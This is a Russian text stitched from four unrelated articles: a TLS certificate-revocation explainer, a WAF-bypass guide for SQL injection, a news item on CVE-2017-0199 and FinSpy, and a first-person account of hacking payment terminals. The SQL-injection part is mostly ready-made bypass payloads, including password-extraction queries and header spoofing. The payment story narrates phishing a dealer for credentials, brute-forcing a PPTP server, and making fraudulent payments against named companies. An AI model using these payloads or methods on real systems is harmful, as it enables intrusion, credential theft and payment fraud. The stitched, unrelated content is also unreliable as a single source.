(УЦ, certification authority, CA) может отозвать подписанный (изданный) им ранее сертификат, например, в случае компрометации закрытого ключа, соответствующего этому сертификату. Поэтому, чтобы исключить возможность подключения к «человеку посередине», при установке TLS-соединения клиент должен не только проверять корректность подписей всей предоставленной сервером цепочки сертификатов, но и проверять статус предоставленных ему сертификатов (сертификат действителен или отозван). Механизмы проверки статуса сертификатов Применяющиеся на практике механизмы проверки статуса сертификатов основаны на списках отозванных сертификатов (certificate revocation list, CRL) и протоколе онлайн-проверки статуса сертификатов (online certificate status protocol, OCSP). Дальше в качестве примера будем рассматривать сертификат сервера с доменным именемwww.example.com, выданный УЦ «Example Certification Authority», схематично изображённый на рисунке: Механизм CRL УЦ публикуют CRL, в которые вносятся серийные номера отозванных сертификатов, в точках распространения CRL (CRL distribution point, CDP). Адреса (URL) точек распространения CRL, к которым следует обращаться для получения информации о статусе проверяемого сертификата, как правило, указываются в самом сертификате. Для проверки статуса сертификата, изображённого на рисунке выше, нужно загрузить CRL, доступный по URL ca.example.com/crl, и проверить, содержится ли в нём серийный номер проверяемого сертификата (46:35:AC:5F). На рисунке приведено схематическое изображение загруженного CRL. В нём сообщается, что УЦ «Example Certification Authority» были отозваны три сертификата c серийными номерами 00:C9:79:0E, 46:35:AC:5F и 50:4E:6F:C7. Проверяемый сертификат является отозванным, поскольку его серийный номер находится в этом списке. Клиенты получают свежие CRL одним из следующих способов: (условно в «пассивном» или оффлайн режиме) с помощью периодических обновлений. CRL в базе клиента могут обновляться автоматически, например, при обновлении клиентского ПО или в ручную администратором; (в «активном» или онлайн режиме) самостоятельно подгружая их по мере необходимости из CDP. CRL чаще всего применяются для оффлайн-проверок и являются мало пригодными для систем, нуждающихся в наиболее актуальной информации о статусе сертификата и требующих упомянутых выше онлайн-загрузок CRL, по следующим причинам: CRL избыточны и плохо подходят для частых повторяющихся загрузок. Иногда их размеры приближаются к 1 МБ; CRL не защищены от атак повторного воспроизведения и позволяют «человеку посередине» подсовывать жертве неактуальные CRL, ещё не содержащие информацию о скомпрометированных ключах. Механизм OCSP OCSP, как следует из его названия, предназначен для получения наиболее актуальной информации о статусе сертификата в режиме онлайн и не обладает приведёнными выше недостатками CRL. Рассмотрим работу этого протокола на примере для сертификата www.example.com (смотри второй рисунок к статье). Для получения информации о статусе сертификата TLS-клиент с помощью OCSP-клиента отправляет запрос OCSP-серверу (OCSP responder) УЦ, указанному в расширении authority information access (AIA) сертификата: В запросе указывается серийный номер проверяемого сертификата (46:35:AC:5F). Также в запросе опционально может быть передан случайный одноразовый код (nonce), предназначенный для защиты ответа OCSP-сервера от атаки повторного воспроизведения. В ответе OCSP-сервера сообщается, что сертификат с серийным номером 46:35:AC:5F был отозван, поскольку соответствующий ему закрытый ключ был скомпрометирован. OCSP-ответ защищён от подделывания и атаки повторного воспроизведения, поскольку подписан доверенным ключом OCSP-сервера и содержит полученный от клиента случайный одноразовый код. Следует отметить, что защита от атаки повторного воспроизведения в OCSP является опциональной и её отсутствие имеет свои преимущества. Отключение проверки значения случайного одноразового кода на клиенте позволяет кэшировать OCSP-ответы на стороне сервера, снижая накладные расходы на функционирование протокола. Проблемами OCSP являются: увеличение времени установки TLS-соединения; раскрытие истории подключений клиента третьей стороне (УЦ). OCSP stapling Для решения этих проблем было предложено расширение протокола TLS, позволяющее прикреплять OCSP-ответы к сертификатам (OCSP stapling) и переносящее ответственность за выполнение OCSP на TLS-сервер. На рисунке изображена схема использования OCSP stapling: Схема описывает следующие шаги: TLS-сервер, выступая в роли OCSP-клиента, собирает информацию о статусе своей цепочки сертификатов, обращаясь к OCSP-серверам соответствующих УЦ; TLS-сервер кэширует полученные OCSP-ответы; При установке TLS-соединения сервер передаёт клиенту свою цепочку сертификатов вместе с соответствующими ей OCSP-ответами. Таким образом: время установки TLS-соединения не увеличивается, поскольку в момент установки соединения OCSP не выполняется ни клиентом, ни сервером; снижается нагрузка на OCSP-серверы УЦ; клиент не раскрывает УЦ используемые им сетевые ресурсы. «Но где же тут защита от атаки повторного воспроизведения?» — спросите вы. Тут её действительно нет, однако рассматриваемое расширение протокола TLS позволяет клиентам пересылать случайный одноразовый код при установке соединения: Такой вариант использования OCSP stapling не позволяет кэшировать OCSP-ответы на сервере, из-за чего растёт время установки TLS-соединения и увеличивается нагрузка на серверы УЦ. Следует отметить, что существует две версии OCSP stapling. Первая версия по неясной причине позволяет прикреплять OCSP-ответ только для сертификата самого сервера. При использовании этой версии ответственность за получение информации о статусе остальных сертификатов цепочки лежит на клиенте. Этот недостаток исправлен в новой версии.

При разработке современных веб-приложений необходимо использовать защитные средства. Тем не менее, стоит понимать, как они работают, эффективно их применять и осознавать, что они не являются панацеей от хакерских атак. В статье будут рассмотрены способы обхода средств фильтрации и защиты веб-приложений при эксплуатации sql-инъекций. Прежде чем приступить к рассмотрению вариантов обхода, давайте определимся с тем, что сегодня из себя представляют защитные средства — как нативные, так и "надстроенные". Защита Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций: mysql_escape_string — экранирует строку для использования в mysql_query; addslashes — экранирует спецсимволы в строке; htmlspecialchars — преобразует специальные символы в HTML сущности; mysql_real_escape_string — экранирует специальные символы в unescaped_string; intval — функция приведения типа. Большинство этих функций направлено на то, чтобы провести преобразование "опасных" символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval. В "надстроенных" средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты. Обход защитных средств Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения. Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml. Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht. Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных. Для обхода используются следующие техники: Инъекция нульбайта: использование %00 до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер. Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем <script> в <sCrIPt> Встроенные комментарии: использование комментария в атакующем запросе. Например, / *! SELECT * / может быть пропущен защитным средством, но обработан в целевом веб-приложении. Раздробленные запросы (chunked): использование кодированных HTTP-запросов для разделения вредоносного пейлоада на несколько HTTP-запросов. Переполнение буфера: если мы сможем сформировать запрос, который вызовет переполнение буфера защитного механизма, мы можем обойти защитные средства (как в случае успешной эксплуатации самой уязвимости защиты, так и без эксплуатации в случае падения приложения). HTTP Parameter Pollution: параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Первый запрос может быть обработан защитным средством, но на стороне веб-приложения выполнится второй. Для разделения используются &, ; и.т.д. URL encoding (hex): использование 16-ричного представления символов, например таких как %27 символа кавычки. Это само по себе может быть недостаточным для многих современных средств защиты, но может быть использовано в сочетании в другими методами обхода. Могут встречаться и другие функции преобразования, например функция reverse: reverse(‘>tpircs/<)niamod.tnemucod(trela>tpircs<‘) Разделение ключевых слов: здесть можно использовать особенности средств защиты для внедрения пейлоада — добавляем спецсимволы и т.д. в качестве разделителя, они вырезаются защитными средствами и на выходе мы получаем обработанный, но целый пейлоад: SEL <ECT будет обработан и из него будет вырезана угловая скобка, на выходе получим SELECT Дублирование ключевых слов: этот метод похож на предыдущий — мы добавляем стоп-слово к запросу, чтобы обмануть механизм защиты: SELECTSELECT будет обработан и из него будет вырезан первый SELECT, на выходе получим SELECT Сброс сессионной куки: для того чтобы не попасть под фильтрацию частых нелигитимных запросов необходимо сбрасывать сессию у каждого запроса. IP репутация: как и в предыдущем примере, при частых запросах с одного IP — могут быть заблокированы и все остальные с этого адреса. Использования множества адресов для атаки может помочь обойти это ограничение. Header injection: иногда можно дать понять приложению что запрос пришел из доверенной сети. При отсутствии должных проверок можно подставить доверенно адрес, например 127.0.0.1 в следующие поля: X-forwarded-for X-remote-IP X-originating-IP x-remote-addr Популярные методы обхода защиты от sql-инъекций Существует два вида инъекций — в строковом или числовом параметре: Строковый Example: SELECT * from table where example = 'Example' Числовой Example: SELECT * from table where id = 123 Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты. Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID: example.site/index.php?id=-1 UNION SELECT password FROM users Обход нормализации: /? Id = 1 + union + select + 1,2,3 / * такой запрос будет заблокирован, поэтому сформируем обфусцированный запрос: /?id=1/*union*/union/*select*/select+1,2,3/* который после нормализации защитными средствами: ?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/* "соберется" в необходимый пейлоад: /? Id = 1 + union + select + 1,2,3 / * Аналогичный пример запроса: /?id=1+un/**/ion+sel/**/ect+1,2,3-- также "соберется" в необходимый пейлоад: /? Id = 1 + union + select + 1,2,3 / * Можно использовать расщепление запроса (HTTP Parameter Pollution): уязвимый код: SQL=" select key from table where id= "+Request.QueryString("id") расщепляем запрос: /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users преобразуется в: id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users Также можно использовать фрагментацию запроса (HTTP Parameter Fragmentation): уязвимый код: Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']); фрагментируем: /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- получаем запрос: select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users-- Используем логические операторы: /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства можно использовать знаки отрицания и неравенства (! =, <>, <,>) . and 1 or 1 and 1=1 and 2<3 and 'a'='a' and 'a'<>'b' and char(32)=' ' and 3<=2 and 5<=>4 and 5<=>5 and 5 is null or 5 is not null Естественно что можно комбинировать различные методы для достижения результата по обходу. Пример различных запросов по одному значению: select user from mysql.user where user = 'user' OR mid(password,1,1)='*' select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 select user from mysql.user where user = 'user' OR position(0x2a in password)=1 select user from mysql.user where user = 'user' OR locate(0x2a,password)=1 Такие атаки могут успешно проходить при наличии следующих условий: Уязвимости в функциях нормализации запроса. Применение технологий HPP и HPF. Обход правил фильтрации (сигнатуры). Уязвимости логики работы приложения (и / или). Примеры сигнатурного обхода /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat(‘’,@@version,’’) /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+ Примеры url-encoded при проведении union select запросов %55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7 Примеры смешанного содержимого запросов unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037) union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)? Примеры замены сигнатур http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-- http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3-- Переполнение буфера http://www.site.com/...x.php?page_id=-15+and+(select 1)=(Select 0xAA[..(тут добавляем более 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…. HEX/url encoding http://www.site.com/...php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…. Очистка «странных» символов или функций http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4… Заключение Придерживаться правила: all input is evil until proven otherwise. Тщательно проверять входящие данные. Тщательно проверять входящие данные. Тщательно проверять входящие данные. Использовать комплексные средства <a href="https://waf.pentestit.ru/" style="color: rgb(153, 0, 153); text-decoration: none; background-color: transparent;">защиты веб-приложений от хакерских атак.

Ранее в этом месяце специалисты компаний McAfee и FireEye предупредили, что еще в январе 2017 года хакеры взяли на вооружение новую 0-day уязвимость в Microsoft Office. Еще до выхода патча сообщалось, что новая проблема не имеет никакого отношения к вредоносным макросам, но использует объекты OLE2link, что в итоге позволяет спровоцировать удаленное выполнение произвольного кода на машине жертвы. В рамках «вторника обновлений» разработчики Microsoft устранили проблему, присвоив ей идентификатор CVE-2017-0199, и после выхода патча стало известно, что через эксплуатацию этого бага распространялась такая малварь, как Dridex, WingBird, Latentbot и Godzilla. Теперь специалисты компании FireEye сообщили еще более интересные подробности. По данным исследователей, проблему эксплуатировали не только обычные мошенники, но и «правительственные хакеры», чьи атаки были направлены против неизвестных целей в России. Злоумышленники распространяли шпионское ПО Finspy (FinFisher), созданное компанией Gamma Group. Данная компания известна тем, что разрабатывает решения, которые используются правоохранительными органами как минимум 25 стран мира для скрытого наблюдения за преступниками и подозреваемыми, сбора улик. Вредоносный документ, распространявший Finspy Более того, специалисты FireEye пишут, что операция неизвестных «правительственных хакеров» шла рука об руку с обычной криминальной активностью. Так, Finspy и Latentbot в данном случае использовали один и тот же билдер, что позволяет предположить, что группировки получили эксплоит для 0-day уязвимости из одного и того же источника. Судя по всему, эксплоит одновременно продавался на черном рынке и клиентам Gamma Group. Revision Time в образцах Finspy и Latentbot

Была статья с названием «Взлом платежных терминалов», в которой описывались составляющие аппарата, его функциональные части и то, как терминал защищен от взлома. Я прочитал статью на несколько раз, но даже между строчек не нашел реальные способы его взлома. Понятно, что физически ломать его бесполезно — если поймают, оторвут все что нащупают. Но мое желание найти баг в защите было непреодолимым. Как все начиналось Первое что пришло в голову — нагуглить как можно больше контор, которые занимаются написанием софта для платежных терминалов и посмотреть наличие программ, описаний протоколов и исходников на их сайтах. Предупреждаю заранее — по понятным соображениям некоторые детали взломов в статье опущены, названия платежных систем могут совпадать с существующими, за что заранее дико извиняюсь. Признаюсь честно, для досконального изучения платежных систем и их протоколов оплаты мне потребовалось немало времени. Покопавшись в результатах поиска гугла, я получил увесистый список web-адресов. После подробного изучения их содержимого, передо мной вырисовывалась довольно четкая картина, точнее схема, по которой проходит платеж от клиента до оператора сотовой связи или поставщика коммунальных услуг (далее всех буду называть просто «Поставщик услуг»). Общий расклад. Все платежи делятся на онлайн и оффлайн. Онлайн — это платеж, который поступает до поставщика услуг незамедлительно, через Интернет. Оффлайн — это платежи, которые накапливаются в базе данных платежной системы, и, в определенные промежутки времени отправляются на сервер поставщика услуг. Кроме того, некоторые поставщики принимают только бумажные реестры. То есть обмен происходит непосредственно при участии человека и поставщика услуг. Онлайн-платежами, как правило, оперируют операторы сотовой связи, в то время как коммунальщики предпочитают получать платежи «оптом» один раз в сутки-двое. Сама по себе концепция онлайн-платежа уже небезопасна, потому как, проводя такие платежи в большом количестве, работникам платежных систем меньше всего их получается разгребать. Зато в случае коммунальных платежей, перед отправкой их гораздо проще проверить на существование соответствующего запроса на терминале. Искать баги в ресурсах поставщиков было бы бессмысленно. Времени уходит уйма, а результат можно получить более простым способом. Доверяя проведение платежей на плечи платежных систем, поставщик не рискует абсолютно ничем. Живые деньги поступят ему в любом случае, а ошибки и возможность взлома это уже проблемы посредников. Таким образом, для того, чтобы, например, пополнить баланс на сотовом телефоне, совсем не обязательно иметь доступ к оператору связи. Достаточно получить доступ к одной из платежных систем, которые позволяют совершить платеж в пользу этого оператора. Как правило, начинающие платежные системы подходят к вопросу безопасности в последнюю очередь, делая акцент на скорости и удобстве сервиса. Поэтому, при выборе жертвы, стоит в первую очередь обратить внимание на молодые компании. Хотя никто не говорил, что Гиганты платежной индустрии не содержат ошибок в системах безопасности. Очень часто происходит как раз наоборот… Возьмем, к примеру, недавний случай с небезызвестной конторой «ОСМП» (Объединенная Система Моментальных Платежей). Центральный сервер, к которому обращаются тысячи терминалов России, Казахстана, и, возможно, других стран был обезоружен на несколько суток банальной DOS/DDOS-атакой. Я, правда, не в курсе, воспользовался ли кто-нибудь ситуацией в своих корыстных целях или просто похулиганили, но атака была и это остается фактом. Связь терминала с сервером происходит по GPRS/GSM-каналу и, как правило, посредством технологии XML-RPC. Некоторые даже додумываются навешивать SSL-защиту, но чтобы она действительно оправдывала себя, протокол, во-первых, должен быть закрытым, во-вторых передаваемый пакет должен шифроваться также средствами программы, а в-третьих, сервер должен не только предоставлять свой корневой сертификат, но также требовать клиентский. Не буду голословным и приведу примеры. У того же ОСМП протокол передачи открыт, то есть, шифровать пакет на выходе из программы уже не имеет смысла. Получать его реверс-инженерингом будет только извращенец. Но их сервер не требует клиентского сертификата, то есть отправить запрос может любой желающий, правильным образом сформировавший пакет. Да, твой канал при передаче будет защищен, но кого это интересует, если для взлома нужны только идентификационные данные. Ведь получить их при большом желании не составит труда. Здесь и Социальная Инженерия и НЛП и банально Хакинг тебе в помощь. Еще одну интересную брешь я нашел сразу в двух молодых конторах. В ответ на мой POST-запрос, сервер послал меня в сторону HTTPS явным проявлением в содержимом ошибки IIS-ного акцента. Как известно, по умолчанию IIS-сервер устанавливает центр выдачи сертификатов в каталог /CertSrv/Default.asp, последовав в который, я, в три клика, получил свой собственный клиентский сертификат. Кстати, после этого мне удалось получить доступ даже к ASPX-страница для проведения платежей и их просмотра, правда на одном из ресурсов страница была защищена паролем, получить который мне так и не посчастливилось. Большинство платежных систем ставят на свои серверы Windows 2000/2003 Server, чем уже совершают большую ошибку. Но те, кто принимает платежи в MySQL-базу на Linux-сервере, при этом, держа на борту Apache+PHP, совершают еще большую ошибку. Не мне тебя учить, как пользоваться SQL-Injection, а ведь это очень простой и верный способ получить огромное количество необходимых данных для проведения платежей, имитируя платежный терминал. Ищем дыры При поиске дыр в защите платежной системы- жертвы первое, что стоит сделать это сканирование портов и web-контента. На открытых портах зачастую можно найти интересные самописные сервисы для проведения платежей, администрирования терминалов. Ведь ни один работник не будет работать круглосуточно вместе с платежными терминалами. Программеры и сисадмины придумывают различные примочки удаленного управления для собственного удобства. Зачастую они даже не задумываются о защите, надеясь, что никто не подумает их ломать. К некоторым портам можно попробовать ломануться по telnet, но как показывает практика, в основном такие сервисы работают по технологии XML-RPC, а это означает, что порт может только принимать и отправлять POST-запросы. Как узнать структуру запроса и его содержимое? Можно попробовать просканить веб-содержимое на чтение. Многие пишут свои сервисы с использованием asp-страниц, которые требуют своих исходников в тех же каталогах. Если администратор в последнюю очередь думает о правах доступа, есть большая вероятность прочитать исходники asp-сценариев, что при грамотном использовании может помочь составить XML-запрос. Кстати, подобные дыры были зафиксированы даже у достаточно крупных платежных систем! Web-контент лучше исследовать вручную + сканером. В качестве сканера лично мне больше всего нравится XSpider. Открою секрет, совсем недавно мне по спутниковой рыбалке прилетела бесплатная версия 7.5 от Zeromag Lab, так что ищите да обрящите . Три реальных взлома Взлом CyberPlat Как показало исследование, платежная система CyberPlat принимает платежи во многих странах, и, их сайты хостятся на одном сервере. Проверить это достаточно просто. Достаточно ввести доменное имя или IP-адрес в поисковый запрос на www.domainsdb.net. Интересная картина получается: 1. cybercheck.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.ru | proxy.cyberplat.com 2. cyberplat.ru [whois] IP: 213.33.161.9 dns: ns.demos.su | ns.cyberplat.ru 3. cyberpos.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.ru | proxy.cyberplat.com 4. cybercard.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.com | ns.cyberplat.ru 5. gribov.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.com | ns.cyberplat.ru 6. pinsale.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.com | ns.cyberplat.ru 7. platina.ru [whois] IP: 0.0.0.0 dns: ns.cyberplat.ru | ns.platina.ru 8. rodnoe-pole.ru [whois] IP: 0.0.0.0 dns: ns.demos.su | ns.cyberplat.ru 9. rodnoepole.ru [whois] IP: 0.0.0.0 dns: ns.demos.su | ns.cyberplat.ru Домены зарегистрированы, но недоступны. Скорее всего, их оставили для личного пользования. Но это не так важно. Остальные сайты в других странах показали в роли первичного DNS cyberplat.com, а вторичным стоял cyberplat.ru. Это могло означать только то, что центральный сервер один, но на нем хостится несколько CyberPlat-сайтов для разных стран. Пинговались они, кстати, тоже по одному айпишнику. Сканирование и ручное исследование показало, что лучше оставить эту идею и покопаться в другом месте. Тогда был по-быстрому сгенерирован другой способ. Нагуглив в кармане немного денежных средств, я дошел до ближайшего CyberPlat-овского терминала, закинул на мобильник чисто символическую сумму и получил квитанцию. Оказалось, что владельцем терминала был далеко не CyberPlat, а совсем левая контора, которая выступала просто-напросто дилером. Дилерские программы это основа распространения платежных терминалов. Контора покупает автомат, ставит на своей территории и, с проведенных платежей, получает свой процент. Недолго думая, я позвонил по контактному телефону, указанному на квитанции и попросил их дать свой e-mail, якобы для отправки мифического коммерческого предложения. Через несколько минут письмо от администрации сервиса CyberPlat полетело жертве на ящик (не для кого ведь не секрет, как подделывается адресат). В письме не было ничего особенного. Стандартная история о смене оборудования на сервере и т.п., в связи с чем, просим выслать ваши регистрационные данные, которые нам просто жизненно необходимы, чтобы ваш терминал не заткнулся . Послушные овцы прислали мне все свои регистрационные данные через пару часов. После этого был сгенерирован XML-файл, который полетел POST-запросом на сервер платежной системы. Кстати, на их сайте лежит не только все описание протокола, но и исходники программы устанавливаемой на стороне терминала, а также ее скомпилированная версия. Взлом QuickPay Программистам этой конторы я вообще поражаюсь. Сделали красивый дизайн на флеше, а об отладке своей проги по-моему вообще не думают. Открою тебе небольшой секрет при определенных комбинациях действий на сенсорном экране терминала, программа вылетает, даже не выдав ошибку. Причем здесь интересен еще один момент. Все сенсорные мониторы на сегодняшний день поддерживают несколько режимов: Click on touch Click on release Drag and click Drag and double click Это как минимум То есть, сам понимаешь, что можно отключить все возможности кроме простого нажатия по нарисованным кнопкам. Но ведь нет же! Квалифицированные мастера сервисного обслуживания и не подумали ничего отключать. Наверное, посчитали, что тогда им будет неудобно обслуживать терминалы! Таким образом, мне удалось на разных терминалах этой конторы получить доступ к рабочему столу (да, не удивляйся, там стоит обычная винда, вопреки тому, что на сайте написано Linux), Моему Компьютеру и, каталогу с программой со всеми вытекающими последствиями. Взлом ОСМП С этой конторой пришлось немного попотеть. Просканировав порты, nmap нащупал открытый и нефильтруемый pptpd-демон на стандартном 1723 порту. Так как для подбора пароля у нас существует THC Hydra, дело оставалось за именами пользователей. База данных пользователей PPTP очень часто не имеет ничего общего с базой данных пользователей сервера, но далеко не всегда. Зачастую Василий Пупкин создает одного и того же пользователя vasya везде, где только возможно. Поэтому, получив версию Apache-демона, я вспомнил про старую уязвимость с определением имен пользователей через web-доступ. Через несколько минут эксплойт был готов к работе. Эксплойт отработал удачно и нашел двух пользователей root и alex. Дальше за дело принялась Hydra. Я зарядил несколько увесистых словарей и подготовил скрипт для генерирования словарей имитирующих посимвольный перебор, но до них дело так и не дошло. Все вышло как нельзя проще. Пароль для alex-а был очень простой и даже находился где-то в начале словаря. Что было дальше, думаю, не стоит рассказывать. Еще немного поработав, я получил доступ к базе терминалов и успешно слил несколько аккаунтов. Пароли, конечно, были хешированы, но их расшифровывать я не стал. Естественно, я даже и не рассчитывал остаться незамеченным, но пока страждущие админы несколько дней закрывали дыру, мне удалось провести добрую порцию платежей. Стоит ли овчинка выделки? Сам факт получения чего-то нахаляву уже заставляет человека совершать какие-то телодвижения. Главное в этом деле не жадничать и помнить про Уголовный Кодекс. Но зато какой результат… Я думаю, оно стоит того. Подумать только — ты можешь проводить практически любые платежи абсолютно бесплатно нажатием нескольких кнопок в твоей самописной программе. Хочу сразу предупредить — все вышеописанное в статье было заранее сообщено администраторам платежных систем, которые в свою очередь поспешили прикрыть дыры. И еще — за все проведенные тобой платежи ты будешь отвечать по полной программе сам и только сам. Автор и администрация журнала к твоим деяниям не имеют никакого отношения.